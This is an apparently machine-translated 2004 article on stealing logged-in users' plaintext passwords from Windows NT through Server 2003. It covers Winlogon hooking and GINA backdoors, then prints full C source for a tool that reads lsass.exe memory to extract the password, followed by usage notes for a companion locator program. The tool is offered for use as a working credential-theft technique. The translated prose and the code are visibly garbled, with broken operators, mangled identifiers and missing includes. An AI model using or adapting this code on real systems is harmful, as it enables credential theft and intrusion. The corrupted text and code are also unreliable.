In all NT systems, there are several ways to get the login user's password. I know three ways to achieve this.
1.hook Winlogon in several functions, the network also has this type of program, called Winlogonhijack Project in Rootkit.com has provided, but that project only for the local login user valid, remote login user invalid.
2. Using Gina and Winlogon to socket, as long as some functions execute their own record password code, you can record the password, high stability, and for local or remote login is valid, but the existing Gina backdoor program in XP or 2003, some functions have not been exported, The main reason is that XP and 2003 have added new functions in Winlogon.
3. Read the memory data directly to get the plaintext password. In NT 4.0/2K, there is a program Findpass can read directly into the Winlogon process of memory data and directly get the login user password, Because in NT4.0 and 2K, the account information, including the domain name, account number and password are regularly in the Winlogon memory of the specific address, so it can be very simple to get. However, in the XP and 2003 system, this method is invalid, it seems that we have no way to read the plaintext address directly. Below we will talk about how like Findpass in NT 4.0 and 2K in, in Server 2003 get the login user's password.
Although XP and 2003 are not the same as the previous NT system to save the login user information in the memory address of the Winlogon process, but the base LSASS process for processing some information, need to get the plaintext login user password, so the login user's password will appear in the LSASS process ( Microsoft did not encrypt the password in the LSASS process, Microsoft's argument is because LSASS needs to get plaintext password, even if the password encryption, but also can only use reversible method of encryption, as long as the operation to track LSASS, the same can get plaintext password, so Microsoft used a lazy method, It is also possible to speed up the response so that the plaintext password is placed in the LSASS process memory. Speaking of which, we all know that the login user's password is in the LSASS process memory. Yes, that's the case, but to get this plaintext password, is it really as easy as using Findpass NT 4.0 and 2K? In fact, it's not that easy, because of the following reasons:
A. The memory address of the password stored in the LSASS process is irregular
B. The password may be closed by the last user (for example, administrator ABC login from the local, and then the administrator BBB from the remote login, and then the administrator BBB Log off the terminal, stored in the Lsass.exe process memory password, or the Administrator bbb password), or the user login, and then log off, Then we get the password, and we don't know which user's password.
C. The data before and after the password is not regular, if there are rules, such as the data before the password, there must be a section of all 01 characters of data, then the location of the password is simple.
Cause A and C both give us the difficulty of locating the password, the original B brings the problem that cannot determine the password and account corresponding. It seems that Microsoft has done some work on the new system. But we will not give up, even if it is a chance to see if we can get the password, anyway, even if the failure, there is no relationship.
The final code, I write to test is not in the 2003 system to get the user's password, the result is just like our analysis above (of course, the above results are measured with this program). The success rate of course is not high, because of too many reasons, the location of the password difficult or unable to locate, or get information that is not the password and so on, so that the failure rate appears to be quite high, but it is still a method, or in the future someone can accurately locate, it is gratifying. Although the failure rate is high, but in one case, the success rate is very high, that is, the administrator just landed in the local or terminal, and then no user from the local or terminal landing, and the administrator has not locked the system, then the success rate will be quite high.
Two ways to improve the success rate:
1. The program is written directly to the service, timed check local or remote login (in fact, no difference), when the login detected, to search the LSASS process memory, try to get the password.
2. The program simulates a login (using LogonUser () can be done), because using the LogonUser () This API, you have to provide the account name and the corresponding correct password to be successful, and then you can search the LSASS process memory. Because we know what the password is, we can locate where the password is stored. Because the login user's password is stored in the same address or not far away from the address, simulated landing and search, you can first locate the user who logged in the password will be about where to save.
In any case, the most stable of the three methods, The safest approach is to use Gina's approach. Hijack Winlogn Some API methods, after all, is changed the system of things, to the stability of the system, there will be a test, direct search of LSASS process memory method, although it is difficult, but accuracy, success rate is low.
The following code uses a very stupid, and very primitive search method, mainly to search Lsass memory "LocalSystem Remote Procedure" This string, because in a considerable number of tests, the password is stored in the address of the string after the location of a point, of course, Many systems do not have this string, or even if so, all we get is the wrong password.
Code://********************************************************************************
version:v1.0
Coder:wineggdrop
Date release:12/15/2004
Purpose:to demonstrate searching Logon User Password on 2003 box,the Method
Used is pretty unwise,but the "the only" to Review the
Logon User ' s Password on Windows 2003.
Test Platform:windows 2003
Compiled on:vc++ 6.0
//********************************************************************************
#include
#include
#include
#define BASEADDRESS 0x002b5000//The Base Memory Address to Search; The Password May is Located before the Address Or far more from this address,which causes the Result unreliable
char Password[max_path] =; Store the Found Password
Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL Findpassword (DWORD PID);
int Search (char *buffer,const UINT nSize);
DWORD Getlsasspid ();
BOOL Is2003 ();
//------------------------------------------------------------------------------------------------------
End of Fucntion ProtoType Declaration
int main ()
{
DWORD PID = 0;
printf ("Windows 2003 Password Viewer V1.0 by wineggdrop/n/n");
if (! IS2003 ())//Check out If the Box is 2003
{
printf ("The program Can ' t is only Run on Windows 2003 platform/n");
return-1;
}
PID = Getlsasspid (); Get the Lsass.exe PID
if (PID = = 0)//Fail to Get PID if returning zerom
{
return-1;
}
Findpassword (PID); Find the Password from Lsass.exe Memory
return 0;
}
End Main ()
//------------------------------------------------------------------------------------
Purpose:search the Memory & Try to Get the Password
Return Type:int
Parameters:
In:char *buffer--The Memory Buffer to Search
Out:const UINT NSize---the Size of the Memory Buffer
Note:the program Tries to Locate the Magic String "LocalSystem Remote Procedure",
Since The Password is near the Above location,but It's not always True that
We'll find the Magic string,or even We find it,the Password may be Located
At Some and place.we only look for Luck
//------------------------------------------------------------------------------------
int Search (char *buffer,const UINT nSize)
{
UINT OffSet = 0;
UINT i = 0;
UINT j = 0;
UINT Count = 0;
if (Buffer = = NULL)
{
return-1;
}
for (i = 0; i < nSize; i++)
{
/* The Below is to Find the Magic string,why so complicated? That'll Thank MS. The separation from Word to Word
Is isn't separated with a space,but with a ending character,so any Search API like Strstr () would Fail to Locate
The Magic String,we has to do It manually and slowly
*/
if (Buffer = = ' L ')
{
OffSet = 0;
if (strnicmp (&buffer[i + OffSet], "LocalSystem", strlen ("LocalSystem")) = = = 0)
{
OffSet + = strlen ("LocalSystem") + 1;
if (strnicmp (&buffer[i + OffSet], "remote", strlen ("remote")) = = 0)
{
OffSet + = strlen ("Remote") + 1;
if (strnicmp (&buffer[i + OffSet], "Procedure", strlen ("Procedure")) = = = 0)
{
OffSet + = strlen ("Procedure") + 1;
if (strnicmp (&buffer[i + OffSet), "Call", strlen ("call")) = = 0)
{
i + = OffSet;
Break
}
}
}
}
}
}
if (I < nSize)
{
ZeroMemory (password,sizeof (Password));
for (; i < nSize; i++)
{
if (Buffer = = 0x02 && buffer[i + 1] = = 0 && buffer[i + 2] = = 0 && buffer[i + 3] = = 0 && Bu Ffer[i + 4] = = 0 && buffer[i + 5] = = 0 && buffer[i + 6] = = 0)
{
/* The Below Code is to Retrieve the password.since the String was in Unicode format,so We'll do It in
That's the
*/
j = i + 7;
for (; J < nSize; J + = 2)
{
if (Buffer[j] > 0)
{
password[count++] = Buffer[j];
}
Else
{
Break
}
}
return i + 7; One Flag to indicate We Find the Password
}
}
}
return-1; Well,we Fail to Find the Password,and this always happens
}
End Search
//------------------------------------------------------------------------------------
Purpose:to Get the Lsass.exe PID
Return Type:dword
Parameters:none
//------------------------------------------------------------------------------------
DWORD Getlsasspid ()
{
HANDLE Hprocesssnap;
HANDLE hprocess = NULL;
PROCESSENTRY32 pe32;
DWORD PID = 0;
Hprocesssnap = CreateToolhelp32Snapshot (th32cs_snapprocess, 0);
if (Hprocesssnap = = INVALID_HANDLE_VALUE)
{
printf ("Fail to Create Snap shot/n");
return 0;
}
pe32.dwsize = sizeof (PROCESSENTRY32);
if (! Process32First (Hprocesssnap, &pe32))
{
CloseHandle (HPROCESSSNAP); Must clean up the snapshot object!
return 0;
}
Do
{
if (Strcmpi (Pe32.szexefile, "Lsass.EXE") = = = 0)
{
PID = Pe32.th32processid;
Break
}
}while (Process32Next (Hprocesssnap, &pe32));
CloseHandle (HPROCESSSNAP);
return PID;
}
End Getlsasspid ()
//------------------------------------------------------------------------------------
Purpose:to Find the Password
Return Type:boolean
Parameters:
In:dword PID, the Lsass.exe ' s PID
//------------------------------------------------------------------------------------
BOOL Findpassword (DWORD PID)
{
HANDLE hprocess = NULL;
Char buffer[5 * 1024] =;
DWORD byteget = 0;
int Found =-1;
hprocess = OpenProcess (process_vm_read,false,pid); Open Process
if (hprocess = = NULL)
{
printf ("Fail to Open process/n");
return FALSE;
}
if (! ReadProcessMemory (hprocess, (PVOID) baseaddress,buffer,5 * 1024,&byteget)//Read the Memory from Lsass.exe
{
printf ("Fail to Read memory/n");
CloseHandle (hprocess);
return FALSE;
}
CloseHandle (hprocess);
Found = Search (buffer,byteget); Search the Password
if (Found >= 0)//We may Find the Password
{
if (strlen (Password) > 0)//yes,we Find the Password even We Don ' t Know If the Password is Correct Or not
{
printf ("Found Password at #0x%x/"%s/"//", Found + Baseaddress,password);
}
}
Else
{
printf ("Fail to Find the password/n");
}
return TRUE;
}
End Findpassword
//------------------------------------------------------------------------------------
Purpose:check If the Box is Windows 2003
Return Type:boolean
Parameters:none
//------------------------------------------------------------------------------------
BOOL Is2003 ()
{
Osversioninfoex OSVI;
BOOL B0sversioninfoex;
ZeroMemory (&osvi,sizeof (OSVERSIONINFOEX));
Osvi.dwosversioninfosize=sizeof (OSVERSIONINFOEX);
if (! ( B0sversioninfoex=getversionex ((OSVERSIONINFO *) &OSVI)))
{
Osvi.dwosversioninfosize=sizeof (OSVERSIONINFO);
}
return (osvi.dwMajorVersion = = 5 && osvi.dwminorversion = = 2);
}
End Is2003 ()
End of File
The attachment program is equivalent to a password locator, which is used to test the specified string in LSASS memory or to impersonate the login password.
Usage:
1.locator string---search for the specified "string" in the LSASS process memory, returning the determined position
2.Locator User name password--set up a parameter in the system to specify the user, and perform a simulated login, and then search for "password" in the LSASS process memory location, the generated account program will be automatically deleted after running.